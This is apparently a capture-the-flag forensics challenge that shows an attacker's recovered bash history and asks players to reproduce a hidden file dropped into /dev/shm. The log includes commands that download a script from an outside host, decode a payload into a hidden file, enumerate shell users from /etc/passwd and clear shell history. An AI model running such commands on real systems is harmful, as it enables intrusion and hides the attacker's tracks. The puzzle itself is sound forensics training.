History Never Forgets
200 points · 0 solved
Incident response pulled ~/.bash_history from a compromised web server. The attacker dropped something into /dev/shm. Reproduce what landed in .k.
cd /var/www
ls -la
sudo -l
curl -s http://203.0.113.9/x.sh -o /dev/shm/x.sh
chmod +x /dev/shm/x.sh
echo "H4sIAAAAAAACAysurs7ILC7JL6qMz0stSy2KT8svSk8tKa4FAJMSOzgZAAAA" | base64 -d | gunzip > /dev/shm/.k
cat /etc/passwd | grep sh$
history -c
exitHints0/2